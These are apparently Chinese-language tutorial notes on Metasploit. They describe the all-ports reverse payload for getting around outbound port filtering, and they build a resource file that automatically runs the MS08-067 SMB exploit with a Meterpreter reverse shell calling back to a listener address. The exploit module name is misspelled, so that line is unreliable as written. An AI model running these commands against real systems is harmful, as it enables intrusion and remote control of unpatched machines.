03_资源文件
全端口攻击载荷:暴力猜解目标开放的 端口
如果攻击的组织内部设置了严格的出站端口过滤,则可以使用reverse_tcp_allports攻击载荷对所有可用的端口进行尝试
资源文件
在MSF终端中指定资源文件的名字,文件中的命令个逐条被自动执行
#可以在MSF终端中使用过resource命令载入资源文件,或者在命令行环境中使用-r标志将资源文件作为MSF终端的一个参数传递进来运行 #显示Metasploit版本,并载入声音插件 echo version > resource.rc echo load sounds >> resource.rc msfconsole -r resource.rc #自动攻击的资源文件 echo use exploit/windows/smb/ms08_067_netapo > autoexploit.rc echo set RHOST 192.168.118.128 >> autoexploit.rc echo set PAYLOAD windows/meterpreter/reverse_tcp >> autoexploit.rc echo set LHOST 192.168.118.134 >> autoexploit.rc echo exploit >> autoexploit.rc msfconsole msf > resource autoexploit.rc